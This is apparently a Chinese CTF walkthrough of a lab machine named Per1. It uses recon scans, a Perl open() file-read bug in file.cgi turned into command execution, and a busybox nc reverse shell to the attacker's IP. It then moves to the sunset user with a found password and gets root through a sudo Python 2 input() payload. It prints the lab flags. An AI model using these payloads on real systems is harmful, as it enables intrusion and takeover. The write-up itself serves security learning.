一、信息收集

1. 主机发现与端口扫描

首先在本地网络中使用 arp-scan 发现目标主机IP,随后利用 nmap 对其进行全端口扫描,以识别开放的服务。

主机发现:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l       
...
192.168.205.139 08:00:27:82:44:3a       PCS Systemtechnik GmbH
...

端口扫描:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p- 192.168.205.139
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
...

扫描结果表明,目标主机IP为 192.168.205.139,开放了 22 (SSH)80 (HTTP) 端口。

2. Web服务侦察

访问80端口,发现是一个关于Perl语言的静态页面。查看页面源代码,在其中发现一条关键线索。

...
<div><!-- cgi --></div>
...

HTML注释中出现的 cgi 强烈暗示Web服务上可能存在CGI脚本,这通常是Web应用的一个重要攻击面。

二、漏洞发现与初始访问

1. CGI目录与文件扫描

根据上一步的线索,我们重点对CGI相关目录进行扫描。使用 gobuster/cgi-bin/ 目录进行深度扫描,成功发现一个可疑的CGI脚本。

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ gobuster dir -u http://192.168.205.139/cgi-bin/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x cgi,pl -t 64
...
/file.cgi             (Status: 200) [Size: 22]
...

扫描找到了 file.cgi 文件,这是我们的主要突破口。

2. LFI 到 RCE (Perl open 函数漏洞)

对发现的 file.cgi 进行参数模糊测试,发现一个 file 参数存在本地文件包含 (LFI) 漏洞。

验证LFI漏洞:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl '192.168.205.139/cgi-bin/file.cgi?file=/etc/passwd'
root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...
sunset:x:1001:1001:,,,:/home/sunset:/bin/bash

成功读取 /etc/passwd 文件。利用此漏洞读取 file.cgi 自身的源代码。

源码审计:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl '192.168.205.139/cgi-bin/file.cgi?file=file.cgi'   
#!/usr/bin/perl
use CGI;
print CGI::header();
my $input = CGI::param('file');
if($input) {
    open(FILE, $input);
    print while <FILE>;
    close(FILE);
}
else {
    print "Missing file parameter";
}

源码的核心问题在于 open(FILE, $input);。在Perl中,这种双参数的 open 函数非常危险。当传递的参数以管道符 | 结尾时,Perl会将其后的字符串作为命令来执行。这使我们能够将LFI漏洞直接升级为远程代码执行 (RCE) 漏洞。

3. 获取 www-data Shell

验证RCE漏洞:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl '192.168.205.139/cgi-bin/file.cgi?file=id|'     
uid=33(www-data) gid=33(www-data) groups=33(www-data)

成功执行 id 命令。接下来,构造反弹Shell的Payload,在本地开启监听,成功获取 www-data 用户的交互式Shell。

本地监听:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nc -lvnp 8888

构造并执行Payload:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl '192.168.205.139/cgi-bin/file.cgi?file=busybox+nc+192.168.205.128+8888+-e+/bin/bash|'

获取Shell并稳定TTY:

connect to [192.168.205.128] from (UNKNOWN) [192.168.205.139] 37298
# 使用 script 稳定Shell
script /dev/null -c bash
# 使用 Ctrl+Z 将其置于后台,然后使用 stty 修复终端
Ctrl+Z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
stty rows 24 columns 80

三、权限提升

1. www-data -> sunset

在获取 www-data 权限后,对系统进行信息搜集。在 /opt 目录下发现一个可疑的Perl脚本 password.pl

www-data@Per1:/opt$ ls -al
...
-rwxr-xr-x  1 sunset sunset  893 Aug  8 09:07 password.pl

该脚本属于 sunset 用户。执行此脚本,得到一个字符串。

www-data@Per1:/opt$ perl password.pl 
dylan4

这很可能是 sunset 用户的密码。使用 su 命令和该密码进行尝试。

www-data@Per1:/opt$ su sunset
Password: dylan4
sunset@Per1:/opt$ id
uid=1001(sunset) gid=1001(sunset) groups=1001(sunset)

成功切换到 sunset 用户。在此用户家目录下找到第一个flag。

sunset@Per1:/opt$ cat /home/sunset/user.txt
flag{user-5b5b8e9b01ef27a1cc0a2d5fa87d7190}

**2. sunset -> root **

获取 sunset 权限后,立刻检查其 sudo 权限。

sunset@Per1:/opt$ sudo -l
...
User sunset may run the following commands on Per1:
    (ALL) NOPASSWD: /usr/bin/python /usr/bin/guess_game.py

sunset 用户可以免密以 root 权限运行 /usr/bin/guess_game.py 脚本。查看该脚本源码。

sunset@Per1:/opt$ cat /usr/bin/guess_game.py
import random

def guess_game():
    ...
    try:
        user_input = input("Your guess: ")  
    except Exception as e:
        print "Error:", e
        return
    ...

此脚本使用 python (即Python 2) 执行,并且在代码中使用了极其危险的 input() 函数。在Python 2中,input() 会将用户的输入当作Python代码来执行。因此,我们可以输入一段能够启动shell的Python代码,该代码将以 root 权限执行。

构造并执行提权Payload:

sunset@Per1:/opt$ sudo /usr/bin/python /usr/bin/guess_game.py
Welcome to the guess game!
I've chosen a number between 0 and 65535.
Your guess: __import__('os').system('/bin/bash')

输入Payload后,成功获取 root 权限的shell。

获取最终Flag:

root@Per1:/opt# id
uid=0(root) gid=0(root) groups=0(root)
root@Per1:/opt# cat /root/root.txt /home/sunset/user.txt 
flag{root-c27679de03aba03c5a33159aef11f8ea}
flag{user-5b5b8e9b01ef27a1cc0a2d5fa87d7190}

至此,靶机完全攻破。